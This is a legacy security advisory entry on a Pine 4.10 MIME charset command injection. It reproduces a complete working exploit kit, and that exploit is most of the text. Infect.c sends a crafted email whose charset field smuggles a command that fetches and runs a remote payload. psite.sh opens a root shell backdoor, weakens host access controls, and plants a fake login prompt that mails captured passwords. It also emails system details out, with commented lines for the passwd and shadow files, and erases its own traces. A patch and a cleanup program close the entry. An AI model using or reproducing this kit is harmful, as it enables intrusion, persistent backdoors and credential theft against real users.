COMMAND
Pine
SYSTEMS AFFECTED
munices running pine up to 4.10
PROBLEM
Following is already known, but it represents another approach.
This issue has been covered in:
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/pine10.html
Credit goes to elaich aka LoopHole of the hhp. This exploit was
made about same time as issues covered in URL above and it was
"asleep" untill recently. Now lets think back about 4 months ago
when a few posts to bugtraq were sent about a
charset=``commands...`` bug. The problem wasn't to big because
ALOT of characters could not be used in attacking this problem.
The main chars that would be needed to do some harmfull damage are
; : > < / @ " ` ' \ = % - and | which are all not allowed besides
| and - which can't be used in any ways wouthout the others.
Theres no way to possibly echo to a file, send an xterm, or rm a
system without / and >. So "pfft" you said and got along with
your admining. This exploit will show you how to run remote
commands and exploit the system all with only the | and -
characters. Now you say "how is that possible?". Well it's
called uudecode which decodes a uuencoded file and sets the mode
defined on the top line of the .uue file when its decoded. So
now, we know how to do the file part, but then you say "But how
do we get the file on the remote server for christs sake?". Thats
easy too, all with the help of lynx on the target server. All
you do is go get a domain like www.blah.com which CANNOT be a
user directory like www.blah.com/user because we cant use the /
character in the charset. So it HAS to be a www.blah.com or
whatever. Then this is where you have to follow what im saying
really close. We are going to uuencode psite.sh and name the
uuencoded file '...' (three dots) which will be the index.html of
your domain. This is how you do this:
[root@hhp]# uuencode psite.sh ... > index.html
Then you need to edit the index.html and change the top line to
make sure the mode is 777 (Defualt is usually like 644 or 655 (it
varries)). Then save the index.html and then go look at your
website and make sure it is comming up in your browser. A
suggestion is to go to www.freeservers.com and register a free
domain. Then uuencode the file, then change the mode to 777, and
THEN since they automatically add that banner to your website, add
<PRE> to the top of the uuencoded file and </PRE> to the bottom
and it will allow it to work with that banner still there. The
next step is to compile Infect.c like...
[root@hhp]# gcc Infect.c -o Infect
The only wierd thing about this is when root or a non-root user
reads the email it will scroll the screen with errors as if the
contents of the script is not working. But it seriously did work,
you can test it out yourself. A good feature the exploit has is
that after the email is read, it will delete the evil charset from
the email so if they decide to read it again (As most people
would) it wont re-infect the server. Remember, this can be used
on non-root users too. What it does is log them out of their
shell making them relogin which then we grab their login/passwd
and then it emails them to you at the defined address in psite.sh.
NOTE: They have to be running pine AND lynx. Most all operating
systems are vulnerable if they run pine and lynx. You can change
some of the scripting in script #1 for that particular OS... like
the killall command and the path of the user mail. Tested on BSD,
Linux, IRIX, AIX, SCO and SunOS. Code follows.
psite.sh
========
#!/bin/sh
# psite.sh
# by: elaich of the hhp.
# Script #1 of the hhp-pine remote exploit.
#
# This cant be a C program because we dont want to raise
# the requirments of the programs needed to use this exploit.
#
# For ROOT infections it...
# Makes a backdoor on port 31336.
# Makes .rhosts.
# Turns port 70 into a telnet port. -Incase 23 is firewalled.
# Puts ALL:ALL in hosts.allow.
# Emails you thier infection.
# Sends you an xterm.(If you define it.)
#
# For NON-ROOT infections it...
# Sends you an xterm.(If you define it.)
# emails you passwd file.(If you defined it.)
# logs them out making them relogin taking their login and passwd
#
# Be sure to change the email address to yours in the below script.
#
# Usage: [root@pine]# uuencode psite.sh ... > index.html
# Then change the mode to 777 in the index.html.
# view the README if you need a domain to put this on.
#
if [ "`id | awk '{print $1}'`" = "uid=0(root)" ]; then
killall -9 pine 2>&1
# XTERM DEFINES: The next three lines are for os variant xterm dirs.
#/usr/bin/X11/xterm -display <your-ip>:0.0 -rv -e /bin/sh
#/usr/X11R6/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
#/usr/openwin/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
echo "+ +" > ~/.rhosts 2>&1
echo "+ +" > /.rhosts 2>&1
echo "+ +" > /root/.rhosts 2>&1
echo "ALL:ALL" >> /etc/hosts.allow 2>&1
cat /etc/inetd.conf | sed s/#telnet/telnet/g > /etc/... 2>&1
mv /etc/... /etc/inetd.conf 2>&1
cat /etc/inetd.conf | sed s/#gopher/gopher/g > /etc/... 2>&1
mv /etc/... /etc/inetd.conf 2>&1
cp /usr/sbin/in.telnetd /usr/sbin/gn 2>&1
echo "hhp-conf stream tcp nowait root /usr/sbin/linuxcnf sh -i" >> /etc/inetd.conf 2>&1
cp /bin/sh /usr/sbin/linuxcnf 2>&1
chmod +x /usr/sbin/linuxcnf 2>&1
chmod +x /usr/sbin/gn 2>&1
mkdir /etc/cron.hourly 2>&1
echo "rm `pwd`/..." > /etc/cron.hourly/... 2>&1
echo "rm /etc/cron.hourly/..." >> /etc/cron.hourly/... 2>&1
echo "hhp-conf 31336/tcp" >> /etc/services 2>&1
killall -HUP inetd 2>&1
echo "Im a (hhp-pine remote exploit.) infection." > ~/..... 2>&1
hostname -i >> ~/..... 2>&1
hostname -d >> ~/..... 2>&1
uname -a >> ~/..... 2>&1
# Change this to your email address.
cat ~/..... | mail -s hhp-pine_root pigspigs@yahoo.com 2>&1
# echo "`hostname -i` - `cat /etc/passwd`" | mail -s hhp-pine_passwd-file pigspigs@yahoo.com 2>&1
# echo "`hostname -i` - `cat /etc/shadow`" | mail -s hhp-pine_shadow-file pigspigs@yahoo.com 2>&1
rm ~/..... 2>&1
rm -fr psite.c 2>&1
cat /var/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > /tmp/..... 2>&1
mv /tmp/..... /var/spool/mail/`whoami` 2>&1
# For capability with other operating systems...
cat /usr/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > /tmp/..... 2>&1
mv /tmp/..... /usr/spool/mail/`whoami` 2>&1
#
# IRC channel connection section...
# (Makes the rooted people connect to DALnet in #hhp_owned under guest nicks.)
echo '#!/usr/bin/perl
# owned-bot by: elaich of the hhp.
use IO::Socket;
$sock = IO::Socket::INET->new(PeerAddr => "phix.dal.net",
PeerPort => 7000,
Proto => "tcp") or die "\n";
print $sock "USER owned owned owned owned\n";
print $sock "PASS owned\n";
print $sock "NICK hhp\n";
print $sock "JOIN #hhp_owned\n";
print $sock "PRIVMSG #hhp_owned :Im owned. -root-.\n";
while(<$sock>) {
chomp;
$line = $_;
if ($line =~ /^PING/) {
print $sock "pong phix.dal.net\n";
}
}
' > ~/quota.pl 2>&1
chmod +x ~/quota.pl 2>&1
~/quota.pl >> /dev/null &
rm -fr ~/quota.pl 2>&1
else
killall -9 pine 2>&1
# XTERM DEFINES: The next three lines are for os variant xterm dirs.
#/usr/bin/X11/xterm -display <your-ip>:0.0 -rv -e /bin/sh
#/usr/X11R6/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
#/usr/openwin/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
echo '#!/bin/sh' > ~/.shell
echo "clear" >> ~/.shell
echo "echo \"shell-init: could not get current directory:\"" >> ~/.shell
echo "cat /etc/issue.net" >> ~/.shell
echo "echo -n \"login: \"" >> ~/.shell
echo "read l" >> ~/.shell
echo "stty -echo" >> ~/.shell
echo "echo -n \"Password: \"" >> ~/.shell
echo "read p" >> ~/.shell
echo "stty echo" >> ~/.shell
echo "echo \"\" >> ~/.shell
echo 'echo `hostname -i`: `hostname -d` "---" l:$l p:$p|mail -s hhp-pine_nonroot pigspigs@yahoo.com > /dev/null' >> ~/.shell
echo "rm -rf ~/.shell" >> ~/.shell
echo "rm -rf ~/..." >> ~/.shell
# echo "`hostname -i` - `cat /etc/passwd`" | mail -s hhp-pine_passwd-file pigspigs@yahoo.com 2>&1
echo 'echo `cat ~/.profile |grep -v shell` > .profile' >> ~/.shell
echo 'echo `cat ~/.bashrc |grep -v shell` > .bashrc' >> ~/.shell
echo "~/.shell" >> ~/.bashrc 2>&1
echo "~/.shell" >> ~/.profile 2>&1
chmod +x ~/.bashrc >/dev/null 2>&1
chmod +x ~/.profile >/dev/null 2>&1
chmod +x ~/.shell >/dev/null 2>&1
cat /var/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > ~/..... 2>&1
mv ~/..... /var/spool/mail/`whoami` 2>&1
# For capability with other operating systems...
cat /usr/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > ~/..... 2>&1
mv ~/..... /usr/spool/mail/`whoami` 2>&1
#
# IRC channel connection section...
# (Makes the rooted people connect to DALnet in #hhp_owned under guest nicks.)
echo '#!/usr/bin/perl
# owned-bot by: elaich of the hhp.
use IO::Socket;
$sock = IO::Socket::INET->new(PeerAddr => "phix.dal.net",
PeerPort => 7000,
Proto => "tcp") or die "\n";
print $sock "USER owned owned owned owned\n";
print $sock "PASS owned\n";
print $sock "NICK hhp\n";
print $sock "JOIN #hhp_owned\n";
print $sock "PRIVMSG #hhp_owned :Im owned. -non-root-.\n";
while(<$sock>) {
chomp;
$line = $_;
print "# $line\n";
if ($line =~ /^PING/) {
print $sock "pong phix.dal.net\n";
}
}
' > ~/quota.pl 2>&1
chmod +x ~/quota.pl 2>&1
~/quota.pl >> /dev/null &
rm -fr ~/quota.pl 2>&1
killall -9 bash 2>&1
killall -9 sh 2>&1
killall -9 tcsh 2>&1
killall -9 csh 2>&1
killall -9 ksh 2>&1
fi
infect.c
========
/********************************************************
* (hhp) Infect.c (hhp) *
* By: elaich of the hhp. *
* Part of the (hhp-pine remote exploit.) *
* gcc Infect.c -o Infect ; ./Infect *
* *
* Connects to their SMTP server, waits for *
* a full connection then sends the infected *
* email and disconnects. *
********************************************************/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <malloc.h>
#include <signal.h>
#include <sys/time.h>
#include <stdlib.h>
#include <string.h>
#define TIMEOUT 12 // The time we will wait before giving up.
char * omfg; // globalised argv[2].
void slowass(int sig);
unsigned int wtfisit(char *name) // Hostname, ip, or niether?
{
struct in_addr addr;
struct hostent *he;
if( (addr.s_addr = inet_addr(name)) == -1)
{
if( (he = gethostbyname(name)) == NULL)
{
fprintf(stderr,"\n-(I)-> The hostname or IP is not correct.\n");
exit(1);
}
bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length);
}
return addr.s_addr;
}
int main(int argc, char *argv[])
{
char msg[512];
struct sockaddr_in victem;
int the_ip;
int the_port;
int the_socket;
char * inbuf;
int a;
if( argc < 4) // Are there enough args?
{
fprintf(stdout,"\n");
fprintf(stdout,"-(I)-> Infect.c -By: elaich of the hhp.\n");
fprintf(stdout,"-(I)-> Part of the (hhp-pine remote exploit).\n");
fprintf(stdout,"-(I)->\n");
fprintf(stdout,"-(I)-> Usage: %s <Infected index.html site> <Target Host> <Taget UserName>\n", argv[0]);
fprintf(stdout,"-(I)-> Examp: %s www.mydomain.com target.com root\n", argv[0]);
fprintf(stdout,"-(I)->\n");
fprintf(stdout,"-(I)-> It CANT be a dir site like www.blah.com/dir and DONT\n");
fprintf(stdout,"-(I)-> put 'http://' because we CANT use the '/' character.\n");
fprintf(stdout,"-(I)->\n");
fprintf(stdout,"-(I)-> Have fun.\n\n");
exit(-1);
}
memset(msg, 0, 512);
signal(SIGALRM, &slowass); // This will catch the alarm if it goes off.
alarm(TIMEOUT); // Alarm if we reach the the defined timeout.
omfg = argv[2];
the_ip = wtfisit(argv[2]); // argv[2] -> wtfisit() -> the_ip
the_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
victem.sin_family = AF_INET;
victem.sin_port = htons(25); // SMTP.
victem.sin_addr.s_addr = the_ip;
if( connect(the_socket, (struct sockaddr *)&victem, sizeof(struct sockaddr_in)) == -1)
{
perror("connect"); // We couldnt connect.
exit(-1); // Exits the program.
}
fprintf(stdout,"\n");
fprintf(stdout,"-(I)-> Infect.c -By: elaich of the hhp.\n");
fprintf(stdout,"-(I)-> Part of the (hhp-pine remote exploit).\n");
fprintf(stdout,"-(I)-> \n");
fprintf(stdout,"-(I)-> Jobs/Probs/Bugs/Etc. -> hhp@hhp.hemp.net\n");
fprintf(stdout,"-(I)-> \n");
fprintf(stdout,"-(I)-> Host w/ infected index.html. -> %s\n", argv[1]);
fprintf(stdout,"-(I)-> Target Host to infect. -> %s\n", argv[2]);
fprintf(stdout,"-(I)-> Target UserName to infect. -> %s\n", argv[3]);
fprintf(stdout,"-(I)-> \n");
fprintf(stdout,"-(I)-> Attempting to connect...\n");
inbuf = malloc(65536);
bzero(inbuf,65536);
while(strstr(inbuf, "220") == NULL) // Untill we get a full connection
{ // we will wait and make a funny motion.
printf("\r-(I)-> Waiting for full connection.");
fflush(stdout);
usleep(900000);
for (a=0;a<=2;a++)
{
printf("\r-(\\)-> Waiting for full connection..");
fflush(stdout);
usleep(900000);
printf("\r-(-)-> Waiting for full connection...");
fflush(stdout);
usleep(900000);
printf("\r-(/)-> Waiting for full connection....");
fflush(stdout);
usleep(900000);
printf("\r-(I)-> Waiting for full connection.");
fflush(stdout);
usleep(900000);
}
recv(the_socket,inbuf+strlen(inbuf),65535-strlen(inbuf),0);
}
if(strstr(inbuf, "220") != NULL) // We fully connected to the SMTP server.
{
sprintf(msg,"HELO THERE\nMAIL FROM:"); write(the_socket,msg,strlen(msg));
sprintf(msg,"Dave<dave@localhost>\nRCPT TO:"); write(the_socket,msg,strlen(msg));
sprintf(msg,"%s<%s@%s>\n",argv[3],argv[3],argv[2]); write(the_socket,msg,strlen(msg));
sprintf(msg,"DATA\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"From: Dave<dave@localhost>\nTO: "); write(the_socket,msg,strlen(msg));
sprintf(msg,"%s<%s@%s>\n",argv[3],argv[3], argv[2]); write(the_socket,msg,strlen(msg));
sprintf(msg,"Subject: Heya.\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"MIME-Version: 1.0\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"Content-Type: MULTIPART/MIXED; BOUND"); write(the_socket,msg,strlen(msg));
sprintf(msg,"ARY=\"8323328-235065145-918425607=:3"); write(the_socket,msg,strlen(msg));
sprintf(msg,"19\"\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"--8323328-235065145-918425607=:319\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"Content-Type: TEXT/PLAIN; charset='U"); write(the_socket,msg,strlen(msg));
sprintf(msg,"S-ASCII'\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"Just keeping up and saying hi.\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"I got a new addy and domain hehe..\n"); write(the_socket,msg,strlen(msg));
sprintf(msg," \n"); /* This is here so if */ write(the_socket,msg,strlen(msg));
sprintf(msg," \n"); /* pine sends a msg to */ write(the_socket,msg,strlen(msg));
sprintf(msg," \n"); /* their term, they wont */ write(the_socket,msg,strlen(msg));
sprintf(msg," \n"); /* see any of the email */ write(the_socket,msg,strlen(msg));
sprintf(msg," \n"); /* contents we're sending. */ write(the_socket,msg,strlen(msg));
sprintf(msg,"--8323328-235065145-918425607=:319\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"Content-Type: TEXT/PLAIN; charset=``"); write(the_socket,msg,strlen(msg));
sprintf(msg,"lynx${IFS}-source${IFS}%s|u", argv[1]); write(the_socket,msg,strlen(msg));
sprintf(msg,"udecode|...``; name=\"emailf\"\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"Content-Transfer-Encoding: BASE64\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"Content-Description: heya\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,"Content-Disposition: attachment; fi"); write(the_socket,msg,strlen(msg));
sprintf(msg,"lename=\"emailf\"\n"); write(the_socket,msg,strlen(msg));
sprintf(msg,".\n"); /* finished the email */ write(the_socket,msg,strlen(msg));
sprintf(msg,"quit\n\n"); /* close the connection. */ write(the_socket,msg,strlen(msg));
close(the_socket); // Re insures the closing of the_socket.
fprintf(stdout,"\n");
fprintf(stdout,"-(I)-> \n");
fprintf(stdout,"-(I)-> Infected email sent!\n");
fprintf(stdout,"-(I)-> \n");
fprintf(stdout,"-(I)-> When %s reads the email,\n", argv[3]);
fprintf(stdout,"-(I)-> you'll recieve an email to the\n");
fprintf(stdout,"-(I)-> address you defined in psite.sh.\n\n");
return 0;
}
}
void slowass(int sig) // Alarm went off.
{
fprintf(stdout,"\n");
fprintf(stdout,"-(I)-> %s -> Server is firewalled, or lagged to hell.\n", omfg);
fprintf(stdout,"\n");
exit(-1); // Exits the program.
/*
If youre having trouble using this, like i have on very few servers...
the raw email is as follows: Remeber to change 'USERNAME' to the user
you're trying to infect, and change 'HOSTNAME-WITH-INFECTED-index.html'
with the hostname of the domain with the uuencoded psite.sh on the
index.html (remember it has to be www.blah.com, and cant be a user dir
like www.blah.com/user and dont put http://, because we cant use the
'/' character in the charset. -elaich
HELO THERE
MAIL FROM: Dave<dave@localhost>
RCPT TO: USERNMAE<USERNAME@target.com>
DATA
From: Dave<dave@localhost>
TO: USERNMAE<USERNAME@target.com>
Subject: Heya.
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"
--8323328-235065145-918425607=:319\n
Content-Type: TEXT/PLAIN; charset='US-ASCII'
Just keeping up and saying hi.
I got a new addy and domain hehe.
--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset=``lynx${IFS}-source${IFS}HOSTNAME-WITH-INFECTED-index.html|uudecode|...``; name="emailf"
Content-Transfer-Encoding: BASE64
Content-Description: heya
Content-Disposition: attachment; filename="emailf"
.
quit
*/
}
cleanup.c
=========
/*
cleanup.c
Part of hhp-pine remote exploit.
Run this on systems you infected
root users on and it will just close all
the holes that psite.sh has made.
*/
main()
{
system("cat /etc/hosts.allow | grep -v \"ALL:ALL\" > /etc/temp");
system("mv /etc/temp /etc/hosts.allow");
system("echo \"ALL:ALL\" >> /etc/hosts.allow");
system("rm -fr ~/.rhosts ; rm -fr /.rhosts ; rm -fr /root/.rhosts");
system("cat /etc/inetd.conf | grep -v \"hhp-conf\" > /etc/temp");
system("mv /etc/temp /etc/inetd.conf");
system("cat /etc/services | grep -v \"hhp-conf\" > /etc/temp");
system("mv /etc/temp /etc/services");
system("killall -HUP inetd");
}
SOLUTION
To apply, download and un-tar the pine 4.10 source. Copy the
patch into the pine4.10 directory. Change directory to the
pine4.10 directory and run patch against it. This patch fixes the
hole in Zalewski's post, it modifies mailcap.c. Pine quotes
parameters sent to scripts with single quotes ('), and correctly
escapes single quotes within the parameter with the sequence '\''
(quote, slash quote quote). My patch makes it also escape
backquotes (`), replacing them with the sequence '\`'.
--- pine4.10.orig/pine/mailcap.c Wed Nov 18 13:00:15 1998
+++ pine4.10/pine/mailcap.c Mon Feb 8 09:17:46 1999
@@ -905,14 +905,18 @@
* have to put those outside of the single quotes.
* (The parm+1000 nonsense is to protect against
* malicious mail trying to overlow our buffer.)
+ *
+ * TCH - Change 2/8/1999
+ * Also quote the ` slash to prevent execution of arbirtrary code
*/
for(p = parm; *p && p < parm+1000; p++){
- if(*p == '\''){
+ if((*p == '\'')||(*p=='`')){
*to++ = '\''; /* closing quote */
*to++ = '\\';
- *to++ = '\''; /* below will be opening quote */
- }
- *to++ = *p;
+ *to++ = *p; /* quoted character */
+ *to++ = '\''; /* opening quote */
+ } else
+ *to++ = *p;
}
fs_give((void **) &parm);
@@ -954,7 +958,7 @@
*/
if(!used_tmp_file && tmp_file)
sprintf(to, MC_ADD_TMP, tmp_file);
-
+
return(cpystr(tmp_20k_buf));
}
Since this is a variant on the command-line-in-a-MIME-header
exploit that was described in some earlier advisory, it is
defanged by the procmail sanitizer.